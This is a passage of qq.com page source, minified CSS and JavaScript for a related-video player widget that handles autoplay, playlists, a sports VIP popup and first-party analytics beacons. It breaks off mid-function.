.rv-top .rv-fold-btn{float:right;padding-left:20px;margin-right:16px;font-size:14px;background-image:url(http://mat1.gtimg.com/news/dc/images/fold.png);background-position:left center;background-repeat:no-repeat}.rv-root-v2 .rv-top .rv-autoplay{float:right;width:110px;margin-right:16px}.rv-root-v2 .rv-top .rv-autoplay span{font-size:14px;float:right}.rv-root-v2 .rv-top .rv-autoplay a{float:right;display:block;width:32px;height:18px;padding:2px;margin-top:10px;margin-left:12px;border-radius:10px;font-size:0;text-indent:-9999px;cursor:pointer;background-color:#CCC;transition:background .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a i{display:block;width:18px;height:18px;border-radius:50%;background-color:#fff;margin-left:0;box-shadow:1px 1px 3px rgba(0,0,0,.6);transition:all .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a:hover{background-color:#d9d9d9}.rv-root-v2 .rv-top .rv-autoplay a.enabled{background-color:#006cb7}.rv-root-v2 .rv-top .rv-autoplay a.enabled i{margin-left:14px}.rv-root-v2 .rv-top .rv-autoplay a.enabled:hover{background-color:#007bd1}.rv-root-v2 .rv-top .rv-autoplay a:active i{box-shadow:none}.rv-root-v2 .rv-top .rv-title{overflow:hidden}.rv-root-v2 .rv-top .rv-title a{display:block;font-size:18px;font-weight:400;text-indent:12px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;color:#000}.rv-root-v2 .rv-top .rv-title a:hover{color:#cd0000;text-decoration:underline}.rv-root-v2 .rv-middle .rv-player{position:relative;min-height:360px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap{position:absolute;width:100%;height:100%;top:0;left:0;background-color:#000;box-shadow:inset 0 0 20px rgba(0,0,0,.6)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod{position:relative;width:100%;height:100%}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .rv-player-loading{width:100%;height:100%;text-align:center;color:#999;font-family:verdana,arial,sans-serif}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .tvp_titles{display:none}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl{display:none;position:absolute;right:0;z-index:99;bottom:18px;width:30px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{display:block;margin-top:3px;width:30px;height:30px;line-height:30px;background-color:#000;background-color:rgba(0,0,0,.6);background-image:url(http://mat1.gtimg.com/news/dc/images/rv_mini_sprites_v2.png);background-repeat:no-repeat;text-align:center}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize:hover{color:#FFF;background-color:#000;background-color:rgba(0,0,0,.9)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-off{background-position:0 -150px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-on{background-position:0 -180px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close{background-position:0 0}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{background-position:0 -30px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini{position:fixed;width:270px;height:170px;left:0;bottom:0;top:auto;z-index:99;box-shadow:0 0 3px rgba(0,0,0,.3)}.rv-root-v2 .rv-middle .rv-player .rv-player-mini .rv-player-mini-ctrl{display:block}@media only screen and (min-width:1300px){.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-sp1{left:50%;margin-left:-692px}}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big{width:640px;height:378px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big .rv-player-mini-ctrl-resize{background-position:0 -60px}.rv-root-v2 .rv-middle .rv-playlist{height:100px;background-color:#2f2f2f}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl{position:relative;width:100%;height:0;z-index:2}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a{display:block;position:absolute;top:0;width:17px;height:100px;line-height:100px;font-size:14px;font-weight:700;font-family:NanumMyeongjo,\"\\5B8B\\4F53\",sans-serif;text-align:center;color:#a3a3a3;background-color:#2f2f2f;background-color:rgba(47,47,47,.8);cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a:hover{background-color:#494949;background-color:rgba(73,73,73,.8)}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled{cursor:not-allowed;color:#505050}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled:hover{background-color:#2f2f2f;background-color:rgba(47,47,47,.8);box-shadow:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .prev{left:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .next{right:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap{height:100px;width:100%;overflow:hidden;position:relative;z-index:1}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller{height:130px;width:100%;overflow-y:hidden;overflow-x:scroll;-webkit-overflow-scrolling:touch}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list{width:9999px;padding:0 17px;list-style:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li{display:block;float:left}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a{display:block;position:relative;width:160px;height:90px;padding:5px;cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a img{width:100%;height:100%;opacity:0;transition:opacity .3s ease-out;vertical-align:top}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div{position:absolute;width:100%;left:0;bottom:0;font-size:12px;line-height:18px}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span{display:block;height:18px;margin:5px;padding:5px 10px 2px;overflow:hidden;font-family:Arial,sans-serif;color:#ababab;background-color:rgba(0,0,0,.8);-ms-filter:\"progid:DXImageTransform.Microsoft.gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\')\";filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\');-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span:not([dummy]){filter:progid:DXImageTransform.Microsoft.Gradient(enabled=\'false\')}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current{background:#101010}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current div span{color:#ff6d1a}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover{background:#252525}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover div span{height:36px}@media only screen and (min-width:1260px){.rv-adjust-wide-article{width:895px;margin-left:-97px}}#sports_video_mask{position:fixed;top:0;left:0;background:#000;opacity:.5;z-index:100;filter:alpha(opacity=50)}#sports_video_Vip{width:560px;height:320px;overflow:hidden;box-shadow:0 0 10px #fff;position:fixed;z-index:101;background:rgba(0,0,0,.8);filter:progid:DXImageTransform.Microsoft.gradient(startcolorstr=#CF000000, 0, endcolorstr=#CF000000, 0)}#sports_video_Vip #sports_video_Vip_close{position:absolute;padding:10px;top:0;right:0;color:#fff;cursor:pointer;font-size:16px}#sports_video_Vip .sports_video_code{position:absolute;width:114px;padding-top:124px;text-align:center;background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportVip2code.png) no-repeat;top:88px;right:40px}#sports_video_Vip .sports_video_content{color:#b6b6b6;width:320px;margin-left:50px;line-height:1.5;font-size:13px;top:48px;border-right:2px dashed #5d5d5d;position:relative}</style>\n</p><span>\n</span><script>!function t(i,e,o){function n(a,l){if(!e[a]){if(!i[a]){var s=\"function\"==typeof require&&require;if(!l&&s)return s(a,!0);if(r)return r(a,!0);throw new Error(\"Cannot find module \'\"+a+\"\'\")}var c=e[a]={exports:{}};i[a][0].call(c.exports,function(t){var e=i[a][1][t];return n(e?e:t)},c,c.exports,t,i,e,o)}return e[a].exports}for(var r=\"function\"==typeof require&&require,a=0;a<o.length;a++)n(o[a]);return n}({1:[function(t,i,e){function o(t){var i=!1,e=s.get();if(!0===r.playingGlobalSign.isAnyonePlaying()||\"0\"===e)return t(!1);if(\"1\"===e)return t(!0);if(l){var o=(new Date).getTime();l.get(n.autoplay_cookie.key,function(e,a){if(!i){if(i=!0,r.debug_log(\"get localstorage from http://www.qq.com/public/final12/localStorageqq.htm differTime\",(new Date).getTime()-o+\"ms\",a),!e&&a){var l=JSON.parse(a);if(\"1\"===l.val)return void t(!0);var s=(new Date).getTime()-l.time,c=s/864e5;return r.debug_log(\"set \"+c.toFixed(2)+\"days\"),c<n.autoplay_cookie.expires?void t(!1):void t(!0)}t(!0)}}),setTimeout(function(){i||(t(!0),i=!0,r.debug_log(\"timeout cross localstorage 400ms\"))},800)}else t(!0),r.debug_log(\"no cross and default true\")}var n=t(\"./config\"),r=t(\"./tools\"),a=r.cookie,l=t(\"./crossLocalStorage\"),s={_config:n.autoplay_cookie,_set:function(t){if(a.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path}),window.JSON){var i={time:(new Date).getTime(),val:t};l&&l.set(this._config.key,i,function(){})}},get:function(){var t=a.get(this._config.key);return t},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};i.exports={getAutoPlay:o,autoPlaySign:s}},{\"./config\":2,\"./crossLocalStorage\":3,\"./tools\":9}],2:[function(t,i,e){var o={};o.modName=\"dc_related_video\",o.autoplay_cookie={key:\"aboutVideo_v\",domain:\".qq.com\",path:\"/\",expires:30},o.playing_cookie={key:\"dc_vplaying\",domain:\".qq.com\",path:\"/\",expires:function(){return new Date((new Date).getTime()+72e5)}},o.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1},o.qqcomstore=null,o.videos=[],o.automute=!1,window.txPlayer_config=o,i.exports=o},{}],3:[function(t,i,e){document.domain=\"qq.com\";var o;o=function(t){this.id=this._getId(),this._init(t),this._origin=this._getOrigin(t),this._callbacks={_get:{},_set:{},_del:{}},this._bindEvent()},o.prototype._getId=function(){return id=0,function(){return++id}}(),o.prototype._init=function(t){var i=this,e=document.createElement(\"iframe\");e.style.display=\"none\",e.src=t,document.body.appendChild(e),this._hub=e.contentWindow,e.onload=function(){i.load()}},o.prototype.load=function(){},o.prototype._getOrigin=function(t){var i,e;return i=document.createElement(\"a\"),i.href=t,e=i.protocol+\"//\"+i.host},o.prototype._parseMessage=function(t,i,e){return JSON.stringify({method:t,key:i,value:e})},o.prototype._bindEvent=function(){var t=this;window.addEventListener?window.addEventListener(\"message\",function(i){var e=JSON.parse(i.data),o=e.error,n=e.result&&JSON.parse(e.result)||null;t._callbacks[\"_\"+e.method][e.key](o,n)},!1):\"\"},o.prototype.get=function(t,i){this._hub.postMessage(this._parseMessage(\"get\",t),this._origin),this._callbacks._get[t]=i},o.prototype.set=function(t,i,e){this._hub.postMessage(this._parseMessage(\"set\",t,i),this._origin),this._callbacks._set[t]=e},o.prototype.del=function(t,i){this._hub.postMessage(this._parseMessage(\"del\",t),this._origin),this._callbacks._del[t]=i};var n;n=window.addEventListener&&window.localStorage&&window.JSON?new o(\"http://www.qq.com/public/final12/localStorageqq.htm\"):null,i.exports=n},{}],4:[function(t,i,e){var o=t(\"./config\"),n=t(\"./tools\"),r=window.related_video_info,a=t(\"./inview\"),l=t(\"./autoPlay\");n.loadJquery(function(i){n.debug_log(\"jquery ready\"),a.init(function(){n.debug_log(\"video inview ready init\");var e=t(\"./ui\");i.getScript(\"http://vm.gtimg.cn/tencentvideo/txp/js/txplayer.js\").done(function(){function a(a){if(!s){s=1,e.autoPlaySW.setStatus(a),e.autoPlaySW.bind(function(t){l.autoPlaySign[t?\"on\":\"off\"](),t?d.play():-1===d.getPlayerState()?d.stop():d.pause()});var c=t(\"./play\"),d=c(r,a);d.on(\"ready\",function(){window.v_nomini||e.scrollPlay.init(d,o)}),d.on(\"playStateChange\",function(t){1==t.state&&i(window).trigger(\"video:pause\",o.modName),t.state>0?n.playingGlobalSign.on():n.playingGlobalSign.off()}),i(window).on(\"video:pause\",function(t,i){n.debug_log(\"\\u6682\\u505c\\u8bf7\\u6c42\\u6765\\u81ea\\uff1a \",i),i!==o.modName&&(-1===d.getPlayerState()?d.stop():d.pause())});var u=t(\"./getVideoList\");u(r,d);var p=t(\"./sportVip\");p.sportVip(d),d.on(\"showUIVipGuide\",function(t){n.debug_log(t),p.pop(d,\"1080p\")})}}n.debug_log(\"txplayer.js ready\",r);var s=0;try{l.getAutoPlay(a)}catch(c){n.debug_log(c),a(!0)}})})})},{\"./autoPlay\":1,\"./config\":2,\"./getVideoList\":5,\"./inview\":6,\"./play\":7,\"./sportVip\":8,\"./tools\":9,\"./ui\":10}],5:[function(t,i,e){function o(t,i){n=i;var e=function(i){d(t,i)};t.cid&&\"null\"!==t.cid?r.getVideoListByCoverId(t.cid,e):(r.debug_log(\"getLikeVideoList\",c.qq),r.getLikeVideoList(c.qq,t.vid,e))}var n,r=t(\"./tools\"),a=t(\"./ui\"),l=t(\"./play\"),s=t(\"./inview\"),c={qq:r.cookie.get(\"o_cookie\")||null},d=function(t,i){r.debug_log(\"videoList array\",i),i||a.playlist.hide();var e=[];e.push(t),$.each(i,function(i,o){o.vid!==t.vid&&e.push(o)});var o=\"\";$.each(e,function(t,i){i.title&&i.title.replace(/[^\\x00-\\xff]/gi,\"**\").length>40?i.stitle=r.cutstr2(i.title,40)+\"...\":i.stitle=i.title||\"\",o+=\"<li>\",o+=\" <a data-vid=\'\"+i.vid+\"\' data-idx=\'\"+t+\"\' href=\'\"+i.url+\"\' target=\'_self\' class=\'\"+(0===t?\"current\":\"\")+\"\' bosszone=\'rvideo_list_title\'>\",o+=\" <img src=\'\"+i.pic+\"\' onload=\'this.onload=null;this.style.opacity=1;\' />\",o+=\" <div>\",o+=\" <span>\"+i.stitle+\"</span>\",o+=\" </div>\",o+=\" </a>\",o+=\"</li>\"}),a.dom.$playlist_list.html(o),a.playlist.init();var c=function(t){if(t){var i,o;return $.each(e,function(e,n){return n.vid===t?(i=n,o=e,!1):void 0}),i&&(i.idx=o),i}},d=function(t){0>t||t>e.length-1||(l(e[t]),a.playlist.setCurrentToIdx(t),a.playlist.scrollToItemIdx(t))};a.dom.$playlist_list.on(\"click\",\"a[data-vid]\",function(t){t.preventDefault();var i=$(this).attr(\"data-vid\"),e=c(i);d(e.idx),r.trace.boss2619(\"user_click\",i)}),n.on(\"playStateChange\",function(t){if(0==t.state){var i=n.getVid(),o=c(i),a=o.idx+1,l=s.inview();r.debug_log(\"\\u64ad\\u653e\\u5668\\u662f\\u5426\\u53ef\\u89c1\",l),a<e.length&&l&&(r.debug_log(\"event: \\u64ad\\u653e\\u4e0b\\u4e00\\u4e2a\"),d(a),r.trace.boss2619(\"auto_next\",i))}})};i.exports=o},{\"./inview\":6,\"./play\":7,\"./tools\":9,\"./ui\":10}],6:[function(t,i,e){function o(){var t=$(window).scrollTop(),i=$(\".rv-root-v2\").offset().top,e=$(window).height();return t+e-70>=i&&i+518>t}var n=function(t){function i(){o()&&!e&&(t(),e=!0)}var e=!1;i(),$(window).scroll(function(t){i()})};i.exports={init:n,inview:o}},{}],7:[function(t,i,e){function o(t,i){var e=\"tvp-mod-player-\"+t.vid;if(r.setPlayerModId(e),r.setTitle(t.title,t.url),n)n.play({vid:t.vid});else{var t={useFlashVIPLayer:0,vid:t.vid,containerId:e,width:\"100%\",height:\"100%\",flashplayerUrl:\"http://imgcache.qq.com/tencentvideo_v1/playerv3/TencentPlayer.swf?max_age=86400&v=20161117\",autoplay:i};window.ARTICLE_INFO&&\"sports\"===window.ARTICLE_INFO.site&&(t.useFlashVIPLayer=-1,t.chid=8,t.authfrom=\"40001\",t.getUserType=function(){return window.login&&login.sportVip?10:window.login&&login.isLogin()?1:0},t.showOpenVIPGuide=function(){console.log(\"showOpenVIPGuide\"),\"function\"==typeof window.__tenplay_skipad&&window.__tenplay_skipad()}),n=new Txplayer(t)}return n}var n,r=t(\"./ui\");t(\"./config\");i.exports=o},{\"./config\":2,\"./ui\":10}],8:[function(t,i,e){function o(t){window.ARTICLE_INFO&&\"sports\"==window.ARTICLE_INFO.site&&(window.__tenplay_skipad=function(){return n(t,\"ad\"),1})}function n(t,i){var e=function(){var t=$(window).width(),i=$(window).height(),e=(t-560)/2,o=(i-320)/2;o=o>0?o:0,$(\"#sports_video_Vip\").css({left:e,top:o}),$(\"#sports_video_mask\").css({width:t,height:i})};if(0==$(\"#sports_video_Vip\").size()){var o=\"<div id=\'sports_video_mask\'></div>\",n=\"<div id=\'sports_video_Vip\'></div>\",r=\"<div id=\'sports_video_Vip_close\'>\\u2715</div><div class=\'sports_video_content\'><div style=\'color:#fff;font-size: 18px;margin-bottom: 30px;\'><b>\\u672c\\u7279\\u6743\\u4e3a\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u4e13\\u4eab</b></div><a href=\'http://vip.sports.qq.com/\' target=\'_blank\' style=\'background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportvip.png);display: block;width:221px;height: 43px;\'></a><div style=\'margin: 30px 0 5px;font-size: 15px;\'>\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u7279\\u6743</div><li>NBA\\u3001NHL\\u7b49\\u8d5b\\u4e8b\\u72ec\\u5bb6\\u76f4\\u64ad</li><li>\\u4eab\\u53d7\\u514d\\u5e7f\\u544a\\u3001\\u84dd\\u5149\\u753b\\u8d28\\u3001\\u82f1\\u6587\\u539f\\u97f3</li><li>\\u70b9\\u51fb\\u201c\\u5f00\\u901a\\u201d\\u4e86\\u89e3\\u66f4\\u591a\\u7279\\u6743\\uff0c\\u5f00\\u901a\\u540e\\u8bf7\\u5237\\u65b0\\u672c\\u9875</li></div><div class=\'sports_video_code\'><div style=\'color:#fff;font-size: 12px;\'>\\u626b\\u4e00\\u626b\\u5f00\\u901a\\u4f53\\u80b2\\u4f1a\\u5458</div></div></div>\"+$(\"body\").append(o).append(n);$(\"#sports_video_Vip\").html(r),e(),$(window).resize(e)}$(\"#sports_video_mask,#sports_video_Vip_close\").click(function(){\"ad\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"closeSkipAd\"}),\"1080p\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"close1080p\"}),$(\"#sports_video_mask,#sports_video_Vip\").hide(),$(\"#sports_video_mask,#sports_video_Vip_close\").unbind(\"click\")}),$(\"#sports_video_mask,#sports_video_Vip\").show()}i.exports={sportVip:o,pop:n}},{}],9:[function(t,i,e){var o=t(\"./config\"),n=function(t,i){var e=document.head||document.getElementsByTagName(\"head\")[0]||document.documentElement,o=document.createElement(\"script\"),n=!1;o.async=!0,o.src=t,o.onload=o.onreadystatechange=function(){n||o.readyState&&!/loaded|complete/.test(o.readyState)||(n=!0,o.onload=o.onreadystatechange=null,o.parentNode&&o.parentNode.removeChild(o),o=null,\"function\"==typeof i&&i())},e.insertBefore(o,e.firstChild)},r=function(t){window.jQuery?t(window.jQuery):n(\"http://mat1.gtimg.com/libs/jquery/1.12.0/jquery.min.js\",function(){t(window.jQuery)})},a=function(){var t=function(){return t.get.apply(t,arguments)},i=t.utils={isArray:Array.isArray||function(t){return\"[object Array]\"===Object.prototype.toString.call(t)},isPlainObject:function(t){return!!t&&\"[object Object]\"===Object.prototype.toString.call(t)},toArray:function(t){return Array.prototype.slice.call(t)},getKeys:Object.keys||function(t){var i=[],e=\"\";for(e in t)t.hasOwnProperty(e)&&i.push(e);return i},escape:function(t){return String(t).replace(/[,;\"\\\\=\\s%]/g,function(t){return encodeURIComponent(t)})},retrieve:function(t,i){return null===t?i:t}};return t.defaults={},t.expiresMultiplier=86400,t.set=function(t,e,o){if(i.isPlainObject(t))for(var n in t)t.hasOwnProperty(n)&&this.set(n,t[n],e);else{o=i.isPlainObject(o)?o:{expires:o};var r=void 0!==o.expires?o.expires:this.defaults.expires||\"\",a=typeof r;\"string\"===a&&\"\"!==r?r=new Date(r):\"number\"===a&&(r=new Date(+new Date+1e3*this.expiresMultiplier*r)),\"\"!==r&&\"toGMTString\"in r&&(r=\";expires=\"+r.toGMTString());var l=o.path||this.defaults.path;l=l?\";path=\"+l:\"\";var s=o.domain||this.defaults.domain;s=s?\";domain=\"+s:\"\";var c=o.secure||this.defaults.secure?\";secure\":\"\";document.cookie=i.escape(t)+\"=\"+i.escape(e)+r+l+s+c}return this},t.remove=function(t){t=i.isArray(t)?t:i.toArray(arguments);for(var e=0,o=t.length;o>e;e++)this.set(t[e],\"\",-1);return this},t.empty=function(){return this.remove(i.getKeys(this.all()))},t.get=function(t,e){e=e||void 0;var o=this.all();if(i.isArray(t)){for(var n={},r=0,a=t.length;a>r;r++){var l=t[r];n[l]=i.retrieve(o[l],e)}return n}return i.retrieve(o[t],e)},t.all=function(){if(\"\"===document.cookie)return{};for(var t=document.cookie.split(\"; \"),i={},e=0,o=t.length;o>e;e++){var n,r,a=t[e].split(\"=\");try{n=decodeURIComponent(a[0])}catch(l){n=a[0]}try{r=decodeURIComponent(a[1])}catch(l){r=a[1]}i[n]=r}return i},t.enabled=function(){if(navigator.cookieEnabled)return!0;var i=\"_\"===t.set(\"_\",\"_\").get(\"_\");return t.remove(\"_\"),i},t}(),l=function(t,i){for(var e=0,o=\"\",n=0;n<t.length;n++)if(t.charCodeAt(n)>128?e+=2:e++,o+=t.charAt(n),e>=i)return o;return o},s=function(t,i){var e,o,n,r,a,l,s=c(function(){a=r=!1},i);return function(){e=this,o=arguments;var c=function(){n=null,a&&(l=t.apply(e,o)),s()};return n||(n=setTimeout(c,i)),r?a=!0:(r=!0,l=t.apply(e,o)),s(),l}},c=function(t,i,e){var o,n;return function(){var r=this,a=arguments,l=function(){o=null,e||(n=t.apply(r,a))},s=e&&!o;return clearTimeout(o),o=setTimeout(l,i),s&&(n=t.apply(r,a)),n}},d=function(){if(-1!==location.search.indexOf(\"debugv\")&&window.console){var t=Array.prototype.slice.call(arguments);t.unshift(\"[related_video_log]\"),console.log(t)}},u=function(t,i){return i=i||$.noop,\"string\"!=typeof t?void i(null):void $.ajax({method:\"GET\",url:\"http://data.video.qq.com/fcgi-bin/data\",data:{tid:\"25\",idlist:t,appid:\"10001009\",appkey:\"c5a3e1529a7ba805\",otype:\"json\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errorno)return void i(null);var e=[],o=t.results[0].fields,n=o.c_vids||o.c_vclips||[];$.each(n,function(t,i){e.push({vid:i.c_vid,title:i.c_title,pic:i.c_pic_160_90,url:i.c_play_url})}),i(e)}).fail(function(){i(null)})},p=function(t,i,e){return e=e||$.noop,i?(t=t||\"\",void $.ajax({method:\"GET\",url:\"http://like.video.qq.com/fcgi-bin/like\",data:{msgtype:\"122\",uin:t,id:i,playright:\"2\",pidx:\"0\",size:\"11\",otype:\"json\",tablist:\"9\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errmsg||!t.tablist)return void e(null);var i=[];$.each(t.tablist[0].cover_info,function(t,e){i.push({vid:e.id,title:e.title,pic:e.picurl,url:e.playurl})}),e(i)}).fail(function(){e(null)})):void e(null)},f={on:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!0},off:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!1},isAnyonePlaying:function(){if(window.dc_playing_sign){for(var t in window.dc_playing_sign)if(t!==o.modName&&window.dc_playing_sign.hasOwnProperty(t)&&window.dc_playing_sign[t])return!0;return!1}return!1}},_={boss2619:function(t,i){var e=$.param({BossId:\"2619\",CheckSum:\"1312852225\",sIp:\"\",iQQ:a.get(\"o_cookie\")||\"\",sOp:t||\"\",sDomain:window.location.hostname||\"\",sUrl:window.location.href||\"\",sRef:window.document.referrer||\"\",vid:i||\"\",_dc:\"\"+Math.random()});(new Image).src=\"http://btrace.qq.com/kvcollect?\"+e}};i.exports={getScript:n,loadJquery:r,cookie:a,cutstr2:l,throttle:s,debounce:c,debug_log:d,getVideoListByCoverId:u,getLikeVideoList:p,playingGlobalSign:f,trace:_}},{\"./config\":2}],10:[function(t,i,e){var o=t(\"./tools\"),n=t(\"./config\"),n={};n.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1};var r={};r.$root=$(\".rv-js-root\"),r.$title=r.$root.find(\".rv-title a\"),r.$autoplay_sw=r.$root.find(\".rv-js-autoplay\"),r.$player_wrap=r.$root.find(\".rv-player-wrap\"),r.$player_mod=r.$player_wrap.find(\".rv-player-mod\"),r.$player_mini_ctrl=r.$player_wrap.find(\".rv-player-mini-ctrl\"),r.$playlist_node=r.$root.find(\".rv-playlist\"),r.$playlist_scol=r.$playlist_node.find(\".rv-playlist-scroller\"),r.$playlist_list=r.$playlist_node.find(\"ol.rv-playlist-list\"),r.$playlist_ctrl=r.$playlist_node.find(\".rv-playlist-ctrl a\"),r.$playlist_prev=r.$playlist_ctrl.filter(\".prev\"),r.$playlist_next=r.$playlist_ctrl.filter(\".next\");var a=function(){return{width:r.$player_mod.width(),height:r.$player_mod.height()}};e.setPlayerModId=function(t){r.$player_mod.attr(\"id\",t)},e.setTitle=function(t,i){return r.$title.html(t).attr(\"href\",i)};var l=function(){var t=\"enabled\",i=function(){r.$autoplay_sw.attr(\"bosszone\",function(){return o()?\"bofang_button_close\":\"bofang_button_open\"})},e=function(e){r.$autoplay_sw[e?\"addClass\":\"removeClass\"](t),i()},o=function(){return r.$autoplay_sw.hasClass(t)},n=function(e){var n=r.$autoplay_sw;n.on(\"click\",function(){n.toggleClass(t),\"function\"==typeof e&&e.call(null,o()),i()})};return{bind:n,setStatus:e,getStatus:o,updateBosszone:i}}();e.autoPlaySW=l;var s=function(){var t,i,e,n,a,l,s=function(){f(),r.$playlist_next.on(\"click\",function(){p(\"forward\")}),r.$playlist_prev.on(\"click\",function(){p(\"backward\")}),r.$playlist_scol.on(\"scroll\",o.throttle(function(){var i=r.$playlist_scol.scrollLeft(),e=\"disabled\";0===i||i===a||0>=a?(0===i&&r.$playlist_prev.addClass(e),(i===a||0>=a)&&r.$playlist_next.addClass(e)):r.$playlist_ctrl.removeClass(e),-1!==navigator.appVersion.indexOf(\"MSIE 7.\")&&t.css(\"visibility\",\"inherit\").css(\"visibility\",\"visible\")},50)),r.$playlist_scol.trigger(\"scroll\")},c=function(t){r.$playlist_scol.stop().animate({scrollLeft:parseInt(t,10)},500)},d=function(o){if(!(0>o||o>i-1)){var n=r.$playlist_scol;$item=t.filter(\":eq(\"+o+\")\"),c(n.scrollLeft()+$item.position().left-n.width()/2+e/2),l=o}},u=function(i){var e=\"current\";t.find(\"> a.\"+e).removeClass(e),t.filter(\":eq(\"+i+\")\").find(\"> a\").addClass(e)},p=function(t){var i,o=r.$playlist_scol,n=o.scrollLeft(),l=Math.round(.7*o.width());\"forward\"===t?i=n+l:\"backward\"===t&&(i=n-l),e>i?i=0:i>a-e&&(i=a),c(i)},f=function(){t=r.$playlist_list.find(\"> li\"),i=t.length,e=t.filter(\":eq(0)\").outerWidth(!0),n=r.$playlist_scol.width()/e,r.$playlist_list.css(\"width\",i*e),a=r.$playlist_list.outerWidth(!0)-r.$playlist_scol.width()};return{init:s,setCurrentToIdx:u,scrollToItemIdx:d,forward:function(){p(\"forward\")},backward:function(){p(\"backward\")},hide:function(){return r.$playlist_node.slideUp(300)},update:f}}();e.playlist=s;var c=function(){var t,i=!1,e=function(){var t={};t.top=r.$root.offset().top,t.btm=t.top+r.$root.height();var i={height:$(window).height(),scrollTop:$(window).scrollTop()},e=t.top>=i.scrollTop&&i.scrollTop+i.height>=t.top,o=t.btm>=i.scrollTop&&i.scrollTop+i.height>=t.btm,n=t.top<=i.scrollTop&&i.scrollTop+i.height<=t.btm;return!!(e||o||n)},l=function(){var t=$(\"#Main-Article-QQ\");if(t.length>0){var i=t.offset(),e=t.width();return 2*i.left+e===$(window).width()?e:!1}return!1},s=function(o){var n=i?!0:e();if(!(!0===t&&!0===n||!1===t&&!1===n)){if(r.$player_wrap.css(\"visibility\",\"hidden\").toggleClass(\"rv-player-mini\",!n),n)r.$player_wrap.css({\"margin-left\":\"\",left:\"\"}),o.unMute&&o.unMute(),u(o);else{if(window.ARTICLE_INFO&&1===window.ARTICLE_INFO.isUnique)r.$player_wrap.addClass(\"rv-player-mini-sp1\");else{var a=l();if(a){var 